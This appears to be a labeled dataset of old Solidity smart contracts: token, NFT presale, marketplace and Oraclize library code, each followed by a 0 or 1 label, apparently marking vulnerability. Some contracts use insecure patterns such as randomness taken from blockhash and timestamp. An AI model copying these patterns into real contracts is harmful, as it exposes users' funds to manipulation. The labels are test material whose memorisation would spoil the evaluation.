buy() public payable { uint amount = msg.value.div(buyPrice); _transfer(this, msg.sender, amount); } function sell(uint256 amount) public { address myAddress = this; require(myAddress.balance >= amount * sellPrice, "Account balance is too small for buying"); _transfer(msg.sender, this, amount); msg.sender.transfer(amount * sellPrice); } function getBalanceOf(address _address) public view returns (uint) { return balanceOf[_address]; } }
1
pragma solidity ^0.4.19; contract OwnableSimple { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); function OwnableSimple() public { owner = msg.sender; } modifier onlyOwner() { require(msg.sender == owner); _; } function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0)); OwnershipTransferred(owner, newOwner); owner = newOwner; } } contract RandomApi { uint64 _seed = 0; function random(uint64 maxExclusive) public returns (uint64 randomNumber) { _seed = uint64(keccak256(keccak256(block.blockhash(block.number - 1), _seed), block.timestamp)); return _seed % maxExclusive; } function random256() public returns (uint256 randomNumber) { uint256 rand = uint256(keccak256(keccak256(block.blockhash(block.number - 1), _seed), block.timestamp)); _seed = uint64(rand); return rand; } } contract ERC165 { function supportsInterface(bytes4 _interfaceID) external view returns (bool); } contract ERC721 is ERC165 { function totalSupply() public view returns (uint256 total); function balanceOf(address _owner) public view returns (uint256 count); function ownerOf(uint256 _tokenId) external view returns (address owner); function approve(address _to, uint256 _tokenId) external; function transfer(address _to, uint256 _tokenId) external; function transferFrom(address _from, address _to, uint256 _tokenId) external; function takeOwnership(uint256 _tokenId) external; event Transfer(address indexed _from, address indexed _to, uint256 _tokenId); event Approval(address indexed _owner, address indexed _approved, uint256 _tokenId); function tokensOfOwner(address _owner) external view returns (uint256[] tokenIds); function tokenMetadata(uint256 _tokenId, string _preferredTransport) external view returns (string infoUrl); function tokenOfOwnerByIndex(address _owner, uint256 _index) external view returns (uint256 tokenId); function tokenMetadata(uint256 _tokenId) external view returns (string infoUrl); } library strings { struct slice { uint _len; uint _ptr; } function memcpy(uint dest, uint src, uint len) private pure { for(; len >= 32; len -= 32) { assembly { mstore(dest, mload(src)) } dest += 32; src += 32; } uint mask = 256 ** (32 - len) - 1; assembly { let srcpart := and(mload(src), not(mask)) let destpart := and(mload(dest), mask) mstore(dest, or(destpart, srcpart)) } } function toSlice(string self) internal pure returns (slice) { uint ptr; assembly { ptr := add(self, 0x20) } return slice(bytes(self).length, ptr); } function toString(slice self) internal pure returns (string) { var ret = new string(self._len); uint retptr; assembly { retptr := add(ret, 32) } memcpy(retptr, self._ptr, self._len); return ret; } function len(slice self) internal pure returns (uint l) { var ptr = self._ptr - 31; var end = ptr + self._len; for (l = 0; ptr < end; l++) { uint8 b; assembly { b := and(mload(ptr), 0xFF) } if (b < 0x80) { ptr += 1; } else if(b < 0xE0) { ptr += 2; } else if(b < 0xF0) { ptr += 3; } else if(b < 0xF8) { ptr += 4; } else if(b < 0xFC) { ptr += 5; } else { ptr += 6; } } } function len(bytes32 self) internal pure returns (uint) { uint ret; if (self == 0) return 0; if (self & 0xffffffffffffffffffffffffffffffff == 0) { ret += 16; self = bytes32(uint(self) / 0x100000000000000000000000000000000); } if (self & 0xffffffffffffffff == 0) { ret += 8; self = bytes32(uint(self) / 0x10000000000000000); } if (self & 0xffffffff == 0) { ret += 4; self = bytes32(uint(self) / 0x100000000); } if (self & 0xffff == 0) { ret += 2; self = bytes32(uint(self) / 0x10000); } if (self & 0xff == 0) { ret += 1; } return 32 - ret; } function toSliceB32(bytes32 self) internal pure returns (slice ret) { assembly { let ptr := mload(0x40) mstore(0x40, add(ptr, 0x20)) mstore(ptr, self) mstore(add(ret, 0x20), ptr) } ret._len = len(self); } function concat(slice self, slice other) internal pure returns (string) { var ret = new string(self._len + other._len); uint retptr; assembly { retptr := add(ret, 32) } memcpy(retptr, self._ptr, self._len); memcpy(retptr + self._len, other._ptr, other._len); return ret; } } contract PausableSimple is OwnableSimple { event Pause(); event Unpause(); bool public paused = true; modifier whenNotPaused() { require(!paused); _; } modifier whenPaused() { require(paused); _; } function pause() onlyOwner whenNotPaused public { paused = true; Pause(); } function unpause() onlyOwner whenPaused public { paused = false; Unpause(); } } contract PresaleMarket is PausableSimple { struct Auction { address seller; uint256 price; } ERC721 public artworkContract; mapping (uint256 => Auction) artworkIdToAuction; uint256 public distributionCut = 2500; bool public constant isPresaleMarket = true; event AuctionCreated(uint256 _artworkId, uint256 _price); event AuctionConcluded(uint256 _artworkId, uint256 _price, address _buyer); event AuctionCancelled(uint256 _artworkId); function auctionsRunByUser(address _address) external view returns(uint256[]) { uint256 allArtworkCount = artworkContract.balanceOf(this); uint256 artworkCount = 0; uint256[] memory allArtworkIds = new uint256[](allArtworkCount); for(uint256 i = 0; i < allArtworkCount; i++) { uint256 artworkId = artworkContract.tokenOfOwnerByIndex(this, i); Auction storage auction = artworkIdToAuction[artworkId]; if(auction.seller == _address) { allArtworkIds[artworkCount++] = artworkId; } } uint256[] memory result = new uint256[](artworkCount); for(i = 0; i < artworkCount; i++) { result[i] = allArtworkIds[i]; } return result; } function PresaleMarket(address _artworkContract) public { artworkContract = ERC721(_artworkContract); } function bid(uint256 _artworkId) external payable whenNotPaused { require(_isAuctionExist(_artworkId)); Auction storage auction = artworkIdToAuction[_artworkId]; require(auction.seller != msg.sender); uint256 price = auction.price; require(msg.value == price); address seller = auction.seller; delete artworkIdToAuction[_artworkId]; if(price > 0) { uint256 myCut = price * distributionCut / 100000; uint256 sellerCut = price - myCut; seller.transfer(sellerCut); } AuctionConcluded(_artworkId, price, msg.sender); artworkContract.transfer(msg.sender, _artworkId); } function getAuction(uint256 _artworkId) external view returns(address seller, uint256 price) { require(_isAuctionExist(_artworkId)); Auction storage auction = artworkIdToAuction[_artworkId]; return (auction.seller, auction.price); } function createAuction(uint256 _artworkId, uint256 _price, address _originalOwner) external whenNotPaused { require(msg.sender == address(artworkContract)); _takeOwnership(_originalOwner, _artworkId); Auction memory auction; auction.seller = _originalOwner; auction.price = _price; _createAuction(_artworkId, auction); } function _createAuction(uint256 _artworkId, Auction _auction) internal { artworkIdToAuction[_artworkId] = _auction; AuctionCreated(_artworkId, _auction.price); } function cancelAuction(uint256 _artworkId) external { require(_isAuctionExist(_artworkId)); Auction storage auction = artworkIdToAuction[_artworkId]; address seller = auction.seller; require(msg.sender == seller); _cancelAuction(_artworkId, seller); } function _cancelAuction(uint256 _artworkId, address _owner) internal { delete artworkIdToAuction[_artworkId]; artworkContract.transfer(_owner, _artworkId); AuctionCancelled(_artworkId); } function withdraw() public onlyOwner { msg.sender.transfer(this.balance); } function cancelAuctionEmergency(uint256 _artworkId) external whenPaused onlyOwner { require(_isAuctionExist(_artworkId)); Auction storage auction = artworkIdToAuction[_artworkId]; _cancelAuction(_artworkId, auction.seller); } function _isAuctionExist(uint256 _artworkId) internal view returns(bool) { return artworkIdToAuction[_artworkId].seller != address(0); } function _owns(address _address, uint256 _artworkId) internal view returns(bool) { return artworkContract.ownerOf(_artworkId) == _address; } function _takeOwnership(address _originalOwner, uint256 _artworkId) internal { artworkContract.transferFrom(_originalOwner, this, _artworkId); } } contract Presale is OwnableSimple, RandomApi, ERC721 { using strings for *; uint256 public batchCount; mapping(uint256 => uint256) public prices; mapping(uint256 => uint256) public supplies; mapping(uint256 => uint256) public sold; mapping(uint256 => bool) public isTransferDisabled; uint256[] public dnas; mapping(address => uint256) public ownerToTokenCount; mapping (uint256 => address) public artworkIdToOwner; mapping (uint256 => address) public artworkIdToTransferApproved; PresaleMarket public presaleMarket; bytes4 constant ERC165Signature_ERC165 = bytes4(keccak256('supportsInterface(bytes4)')); bytes4 constant ERC165Signature_ERC721A = bytes4(keccak256('totalSupply()')) ^ bytes4(keccak256('balanceOf(address)')) ^ bytes4(keccak256('ownerOf(uint256)')) ^ bytes4(keccak256('approve(address,uint256)')) ^ bytes4(keccak256('transfer(address,uint256)')) ^ bytes4(keccak256('transferFrom(address,address,uint256)')) ^ bytes4(keccak256('name()')) ^ bytes4(keccak256('symbol()')) ^ bytes4(keccak256('tokensOfOwner(address)')) ^ bytes4(keccak256('tokenMetadata(uint256,string)')); bytes4 constant ERC165Signature_ERC721B = bytes4(keccak256('name()')) ^ bytes4(keccak256('symbol()')) ^ bytes4(keccak256('totalSupply()')) ^ bytes4(keccak256('balanceOf(address)')) ^ bytes4(keccak256('ownerOf(uint256)')) ^ bytes4(keccak256('approve(address,uint256)')) ^ bytes4(keccak256('takeOwnership(uint256)')) ^ bytes4(keccak256('transfer(address,uint256)')) ^ bytes4(keccak256('tokenOfOwnerByIndex(address,uint256)')) ^ bytes4(keccak256('tokenMetadata(uint256)')); function Presale() public { _addPresale(0.05 ether, 450); _addPresale(0.12 ether, 325); _addPresale(0.35 ether, 150); _addPresale(1.0 ether, 75); } function buy(uint256 _batch) public payable { require(_batch < batchCount); require(msg.value == prices[_batch]); require(sold[_batch] < supplies[_batch]); sold[_batch]++; uint256 dna = _generateRandomDna(_batch); uint256 artworkId = dnas.push(dna) - 1; ownerToTokenCount[msg.sender]++; artworkIdToOwner[artworkId] = msg.sender; Transfer(0, msg.sender, artworkId); } function getArtworkInfo(uint256 _id) external view returns ( uint256 dna, address owner) { require(_id < totalSupply()); dna = dnas[_id]; owner = artworkIdToOwner[_id]; } function withdraw() public onlyOwner { msg.sender.transfer(this.balance); } function getBatchInfo(uint256 _batch) external view returns(uint256 price, uint256 supply, uint256 soldAmount) { require(_batch < batchCount); return (prices[_batch], supplies[_batch], sold[_batch]); } function setTransferDisabled(uint256 _batch, bool _isDisabled) external onlyOwner { require(_batch < batchCount); isTransferDisabled[_batch] = _isDisabled; } function setPresaleMarketAddress(address _address) public onlyOwner { PresaleMarket presaleMarketTest = PresaleMarket(_address); require(presaleMarketTest.isPresaleMarket()); presaleMarket = presaleMarketTest; } function sell(uint256 _artworkId, uint256 _price) external { require(_isOwnerOf(msg.sender, _artworkId)); require(_canTransferBatch(_artworkId)); _approveTransfer(_artworkId, presaleMarket); presaleMarket.createAuction(_artworkId, _price, msg.sender); } function _addPresale(uint256 _price, uint256 _supply) private { prices[batchCount] = _price; supplies[batchCount] = _supply; batchCount++; } function _generateRandomDna(uint256 _batch) private returns(uint256 dna) { uint256 rand = random256() % (10 ** 76); rand = rand / 100000000 * 100000000 + _batch; return rand; } function _isOwnerOf(address _address, uint256 _tokenId) private view returns (bool) { return artworkIdToOwner[_tokenId] == _address; } function _approveTransfer(uint256 _tokenId, address _address) internal { artworkIdToTransferApproved[_tokenId] = _address; } function _transfer(address _from, address _to, uint256 _tokenId) internal { artworkIdToOwner[_tokenId] = _to; ownerToTokenCount[_to]++; ownerToTokenCount[_from]--; delete artworkIdToTransferApproved[_tokenId]; Transfer(_from, _to, _tokenId); } function _approvedForTransfer(address _address, uint256 _tokenId) internal view returns (bool) { return artworkIdToTransferApproved[_tokenId] == _address; } function _transferFrom(address _from, address _to, uint256 _tokenId) internal { require(_isOwnerOf(_from, _tokenId)); require(_approvedForTransfer(msg.sender, _tokenId)); require(_to != address(0)); require(_to != address(this)); _transfer(_from, _to, _tokenId); } function _canTransferBatch(uint256 _tokenId) internal view returns(bool) { uint256 batch = dnas[_tokenId] % 10; return !isTransferDisabled[batch]; } function _tokenMetadata(uint256 _tokenId, string _preferredTransport) internal view returns (string infoUrl) { _preferredTransport; require(_tokenId < totalSupply()); strings.slice memory tokenIdSlice = _uintToBytes(_tokenId).toSliceB32(); return "/http/etherwaifu.com/presale/artwork/".toSlice().concat(tokenIdSlice); } function _uintToBytes(uint256 v) internal pure returns(bytes32 ret) { if (v == 0) { ret = '0'; } else { while (v > 0) { ret = bytes32(uint256(ret) / (2 ** 8)); ret |= bytes32(((v % 10) + 48) * 2 ** (8 * 31)); v /= 10; } } return ret; } function totalSupply() public view returns (uint256) { return dnas.length; } function balanceOf(address _owner) public view returns (uint256) { return ownerToTokenCount[_owner]; } function ownerOf(uint256 _tokenId) external view returns (address) { address theOwner = artworkIdToOwner[_tokenId]; require(theOwner != address(0)); return theOwner; } function approve(address _to, uint256 _tokenId) external { require(_canTransferBatch(_tokenId)); require(_isOwnerOf(msg.sender, _tokenId)); require(msg.sender != _to); address prevApprovedAddress = artworkIdToTransferApproved[_tokenId]; _approveTransfer(_tokenId, _to); if(!(prevApprovedAddress == address(0) && _to == address(0))) { Approval(msg.sender, _to, _tokenId); } } function transfer(address _to, uint256 _tokenId) external { require(_canTransferBatch(_tokenId)); require(_isOwnerOf(msg.sender, _tokenId)); require(_to != address(0)); require(_to != address(this)); require(_to != address(presaleMarket)); _transfer(msg.sender, _to, _tokenId); } function transferFrom(address _from, address _to, uint256 _tokenId) external { require(_canTransferBatch(_tokenId)); _transferFrom(_from, _to, _tokenId); } function takeOwnership(uint256 _tokenId) external { require(_canTransferBatch(_tokenId)); address owner = artworkIdToOwner[_tokenId]; _transferFrom(owner, msg.sender, _tokenId); } function tokensOfOwner(address _owner) external view returns (uint256[] tokenIds) { uint256 count = balanceOf(_owner); uint256[] memory res = new uint256[](count); uint256 allArtworkCount = totalSupply(); uint256 i = 0; for(uint256 artworkId = 1; artworkId <= allArtworkCount && i < count; artworkId++) { if(artworkIdToOwner[artworkId] == _owner) { res[i++] = artworkId; } } return res; } function tokenMetadata(uint256 _tokenId, string _preferredTransport) external view returns (string infoUrl) { return _tokenMetadata(_tokenId, _preferredTransport); } function tokenOfOwnerByIndex(address _owner, uint256 _index) external view returns (uint256 tokenId) { require(_index < balanceOf(_owner)); uint256 allArtworkCount = totalSupply(); uint256 i = 0; for(uint256 artworkId = 0; artworkId < allArtworkCount; artworkId++) { if(artworkIdToOwner[artworkId] == _owner) { if(i == _index) { return artworkId; } else { i++; } } } assert(false); } function tokenMetadata(uint256 _tokenId) external view returns (string infoUrl) { return _tokenMetadata(_tokenId, "http"); } function supportsInterface(bytes4 _interfaceID) external view returns (bool) { return _interfaceID == ERC165Signature_ERC165 || _interfaceID == ERC165Signature_ERC721A || _interfaceID == ERC165Signature_ERC721B; } }
0
pragma solidity ^ 0.4 .21; library SafeMath { function mul(uint256 a, uint256 b) internal pure returns(uint256 c) { if (a == 0) { return 0; } c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns(uint256) { return a / b; } function sub(uint256 a, uint256 b) internal pure returns(uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns(uint256 c) { c = a + b; assert(c >= a); return c; } } contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); function Ownable() public { owner = msg.sender; } modifier onlyOwner() { require(msg.sender == owner); _; } function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0)); emit OwnershipTransferred(owner, newOwner); owner = newOwner; } } contract Pausable is Ownable { event Pause(); event Unpause(); bool public paused = false; modifier whenNotPaused() { require(!paused); _; } modifier whenPaused() { require(paused); _; } function pause() onlyOwner whenNotPaused public { paused = true; emit Pause(); } function unpause() onlyOwner whenPaused public { paused = false; emit Unpause(); } } contract ERC20Basic { function totalSupply() public view returns(uint256); function balanceOf(address who) public view returns(uint256); function transfer(address to, uint256 value) public returns(bool); event Transfer(address indexed from, address indexed to, uint256 value); } contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view returns(uint256); function transferFrom(address from, address to, uint256 value) public returns(bool); function approve(address spender, uint256 value) public returns(bool); event Approval(address indexed owner, address indexed spender, uint256 value); } contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; uint256 totalSupply_; function totalSupply() public view returns(uint256) { return totalSupply_; } function transfer(address _to, uint256 _value) public returns(bool) { require(_to != address(0)); require(_value <= balances[msg.sender]); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); emit Transfer(msg.sender, _to, _value); return true; } function balanceOf(address _owner) public view returns(uint256) { return balances[_owner]; } } contract StandardToken is ERC20, BasicToken { mapping(address => mapping(address => uint256)) internal allowed; function transferFrom(address _from, address _to, uint256 _value) public returns(bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); emit Transfer(_from, _to, _value); return true; } function approve(address _spender, uint256 _value) public returns(bool) { allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) public view returns(uint256) { return allowed[_owner][_spender]; } function increaseApproval(address _spender, uint _addedValue) public returns(bool) { allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } function decreaseApproval(address _spender, uint _subtractedValue) public returns(bool) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } contract PausableToken is StandardToken, Pausable { function transfer(address _to, uint256 _value) public whenNotPaused returns(bool) { return super.transfer(_to, _value); } function transferFrom(address _from, address _to, uint256 _value) public whenNotPaused returns(bool) { return super.transferFrom(_from, _to, _value); } function approve(address _spender, uint256 _value) public whenNotPaused returns(bool) { return super.approve(_spender, _value); } function increaseApproval(address _spender, uint _addedValue) public whenNotPaused returns(bool success) { return super.increaseApproval(_spender, _addedValue); } function decreaseApproval(address _spender, uint _subtractedValue) public whenNotPaused returns(bool success) { return super.decreaseApproval(_spender, _subtractedValue); } } contract SimpleToken is PausableToken { string public name; string public symbol; uint8 public decimals = 18; modifier onlyPayloadSize(uint size) { require(!(msg.data.length < size + 4)); _; } function SimpleToken(string tokenName, string tokenSymbol, uint256 initialSupply, address _owner) public { name = tokenName; symbol = tokenSymbol; totalSupply_ = initialSupply * 10 ** uint256(decimals); balances[_owner] = totalSupply_; owner = _owner; } function transfer(address _to, uint256 _value) public onlyPayloadSize(2 * 32) returns(bool) { return super.transfer(_to, _value); } function transferFrom(address _from, address _to, uint256 _value) public onlyPayloadSize(3 * 32) returns(bool) { return super.transferFrom(_from, _to, _value); } function approve(address _spender, uint256 _value) public onlyPayloadSize(2 * 32) returns(bool) { return super.approve(_spender, _value); } function increaseApproval(address _spender, uint _addedValue) public onlyPayloadSize(2 * 32) returns(bool) { return super.increaseApproval(_spender, _addedValue); } function decreaseApproval(address _spender, uint _subtractedValue) public onlyPayloadSize(2 * 32) returns(bool) { return super.decreaseApproval(_spender, _subtractedValue); } }
1
pragma solidity ^0.4.18; contract OraclizeI { address public cbAddress; function query(uint _timestamp, string _datasource, string _arg) external payable returns (bytes32 _id); function query_withGasLimit(uint _timestamp, string _datasource, string _arg, uint _gaslimit) external payable returns (bytes32 _id); function query2(uint _timestamp, string _datasource, string _arg1, string _arg2) public payable returns (bytes32 _id); function query2_withGasLimit(uint _timestamp, string _datasource, string _arg1, string _arg2, uint _gaslimit) external payable returns (bytes32 _id); function queryN(uint _timestamp, string _datasource, bytes _argN) public payable returns (bytes32 _id); function queryN_withGasLimit(uint _timestamp, string _datasource, bytes _argN, uint _gaslimit) external payable returns (bytes32 _id); function getPrice(string _datasource) public returns (uint _dsprice); function getPrice(string _datasource, uint gaslimit) public returns (uint _dsprice); function setProofType(byte _proofType) external; function setCustomGasPrice(uint _gasPrice) external; function randomDS_getSessionPubKeyHash() external constant returns(bytes32); } contract OraclizeAddrResolverI { function getAddress() public returns (address _addr); } contract usingOraclize { uint constant day = 60*60*24; uint constant week = 60*60*24*7; uint constant month = 60*60*24*30; byte constant proofType_NONE = 0x00; byte constant proofType_TLSNotary = 0x10; byte constant proofType_Android = 0x20; byte constant proofType_Ledger = 0x30; byte constant proofType_Native = 0xF0; byte constant proofStorage_IPFS = 0x01; uint8 constant networkID_auto = 0; uint8 constant networkID_mainnet = 1; uint8 constant networkID_testnet = 2; uint8 constant networkID_morden = 2; uint8 constant networkID_consensys = 161; OraclizeAddrResolverI OAR; OraclizeI oraclize; modifier oraclizeAPI { if((address(OAR)==0)||(getCodeSize(address(OAR))==0)) oraclize_setNetwork(networkID_auto); if(address(oraclize) != OAR.getAddress()) oraclize = OraclizeI(OAR.getAddress()); _; } modifier coupon(string code){ oraclize = OraclizeI(OAR.getAddress()); _; } function oraclize_setNetwork(uint8 networkID) internal returns(bool){ return oraclize_setNetwork(); networkID; } function oraclize_setNetwork() internal returns(bool){ if (getCodeSize(0x1d3B2638a7cC9f2CB3D298A3DA7a90B67E5506ed)>0){ OAR = OraclizeAddrResolverI(0x1d3B2638a7cC9f2CB3D298A3DA7a90B67E5506ed); oraclize_setNetworkName("eth_mainnet"); return true; } if (getCodeSize(0xc03A2615D5efaf5F49F60B7BB6583eaec212fdf1)>0){ OAR = OraclizeAddrResolverI(0xc03A2615D5efaf5F49F60B7BB6583eaec212fdf1); oraclize_setNetworkName("eth_ropsten3"); return true; } if (getCodeSize(0xB7A07BcF2Ba2f2703b24C0691b5278999C59AC7e)>0){ OAR = OraclizeAddrResolverI(0xB7A07BcF2Ba2f2703b24C0691b5278999C59AC7e); oraclize_setNetworkName("eth_kovan"); return true; } if (getCodeSize(0x146500cfd35B22E4A392Fe0aDc06De1a1368Ed48)>0){ OAR = OraclizeAddrResolverI(0x146500cfd35B22E4A392Fe0aDc06De1a1368Ed48); oraclize_setNetworkName("eth_rinkeby"); return true; } if (getCodeSize(0x6f485C8BF6fc43eA212E93BBF8ce046C7f1cb475)>0){ OAR = OraclizeAddrResolverI(0x6f485C8BF6fc43eA212E93BBF8ce046C7f1cb475); return true; } if (getCodeSize(0x20e12A1F859B3FeaE5Fb2A0A32C18F5a65555bBF)>0){ OAR = OraclizeAddrResolverI(0x20e12A1F859B3FeaE5Fb2A0A32C18F5a65555bBF); return true; } if (getCodeSize(0x51efaF4c8B3C9AfBD5aB9F4bbC82784Ab6ef8fAA)>0){ OAR = OraclizeAddrResolverI(0x51efaF4c8B3C9AfBD5aB9F4bbC82784Ab6ef8fAA); return true; } return false; } function __callback(bytes32 myid, string result) public { __callback(myid, result, new bytes(0)); } function __callback(bytes32 myid, string result, bytes proof) public { return; myid; result; proof; } function oraclize_getPrice(string datasource) oraclizeAPI internal returns (uint){ return oraclize.getPrice(datasource); } function oraclize_getPrice(string datasource, uint gaslimit) oraclizeAPI internal returns (uint){ return oraclize.getPrice(datasource, gaslimit); } function oraclize_query(string datasource, string arg) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource); if (price > 1 ether + tx.gasprice*200000) return 0; return oraclize.query.value(price)(0, datasource, arg); } function oraclize_query(uint timestamp, string datasource, string arg) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource); if (price > 1 ether + tx.gasprice*200000) return 0; return oraclize.query.value(price)(timestamp, datasource, arg); } function oraclize_query(uint timestamp, string datasource, string arg, uint gaslimit) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource, gaslimit); if (price > 1 ether + tx.gasprice*gaslimit) return 0; return oraclize.query_withGasLimit.value(price)(timestamp, datasource, arg, gaslimit); } function oraclize_query(string datasource, string arg, uint gaslimit) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource, gaslimit); if (price > 1 ether + tx.gasprice*gaslimit) return 0; return oraclize.query_withGasLimit.value(price)(0, datasource, arg, gaslimit); } function oraclize_query(string datasource, string arg1, string arg2) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource); if (price > 1 ether + tx.gasprice*200000) return 0; return oraclize.query2.value(price)(0, datasource, arg1, arg2); } function oraclize_query(uint timestamp, string datasource, string arg1, string arg2) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource); if (price > 1 ether + tx.gasprice*200000) return 0; return oraclize.query2.value(price)(timestamp, datasource, arg1, arg2); } function oraclize_query(uint timestamp, string datasource, string arg1, string arg2, uint gaslimit) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource, gaslimit); if (price > 1 ether + tx.gasprice*gaslimit) return 0; return oraclize.query2_withGasLimit.value(price)(timestamp, datasource, arg1, arg2, gaslimit); } function oraclize_query(string datasource, string arg1, string arg2, uint gaslimit) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource, gaslimit); if (price > 1 ether + tx.gasprice*gaslimit) return 0; return oraclize.query2_withGasLimit.value(price)(0, datasource, arg1, arg2, gaslimit); } function oraclize_query(string datasource, string[] argN) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource); if (price > 1 ether + tx.gasprice*200000) return 0; bytes memory args = stra2cbor(argN); return oraclize.queryN.value(price)(0, datasource, args); } function oraclize_query(uint timestamp, string datasource, string[] argN) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource); if (price > 1 ether + tx.gasprice*200000) return 0; bytes memory args = stra2cbor(argN); return oraclize.queryN.value(price)(timestamp, datasource, args); } function oraclize_query(uint timestamp, string datasource, string[] argN, uint gaslimit) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource, gaslimit); if (price > 1 ether + tx.gasprice*gaslimit) return 0; bytes memory args = stra2cbor(argN); return oraclize.queryN_withGasLimit.value(price)(timestamp, datasource, args, gaslimit); } function oraclize_query(string datasource, string[] argN, uint gaslimit) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource, gaslimit); if (price > 1 ether + tx.gasprice*gaslimit) return 0; bytes memory args = stra2cbor(argN); return oraclize.queryN_withGasLimit.value(price)(0, datasource, args, gaslimit); } function oraclize_query(string datasource, string[1] args) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](1); dynargs[0] = args[0]; return oraclize_query(datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, string[1] args) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](1); dynargs[0] = args[0]; return oraclize_query(timestamp, datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, string[1] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](1); dynargs[0] = args[0]; return oraclize_query(timestamp, datasource, dynargs, gaslimit); } function oraclize_query(string datasource, string[1] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](1); dynargs[0] = args[0]; return oraclize_query(datasource, dynargs, gaslimit); } function oraclize_query(string datasource, string[2] args) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](2); dynargs[0] = args[0]; dynargs[1] = args[1]; return oraclize_query(datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, string[2] args) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](2); dynargs[0] = args[0]; dynargs[1] = args[1]; return oraclize_query(timestamp, datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, string[2] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](2); dynargs[0] = args[0]; dynargs[1] = args[1]; return oraclize_query(timestamp, datasource, dynargs, gaslimit); } function oraclize_query(string datasource, string[2] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](2); dynargs[0] = args[0]; dynargs[1] = args[1]; return oraclize_query(datasource, dynargs, gaslimit); } function oraclize_query(string datasource, string[3] args) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](3); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; return oraclize_query(datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, string[3] args) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](3); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; return oraclize_query(timestamp, datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, string[3] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](3); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; return oraclize_query(timestamp, datasource, dynargs, gaslimit); } function oraclize_query(string datasource, string[3] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](3); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; return oraclize_query(datasource, dynargs, gaslimit); } function oraclize_query(string datasource, string[4] args) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](4); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; dynargs[3] = args[3]; return oraclize_query(datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, string[4] args) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](4); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; dynargs[3] = args[3]; return oraclize_query(timestamp, datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, string[4] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](4); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; dynargs[3] = args[3]; return oraclize_query(timestamp, datasource, dynargs, gaslimit); } function oraclize_query(string datasource, string[4] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](4); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; dynargs[3] = args[3]; return oraclize_query(datasource, dynargs, gaslimit); } function oraclize_query(string datasource, string[5] args) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](5); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; dynargs[3] = args[3]; dynargs[4] = args[4]; return oraclize_query(datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, string[5] args) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](5); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = 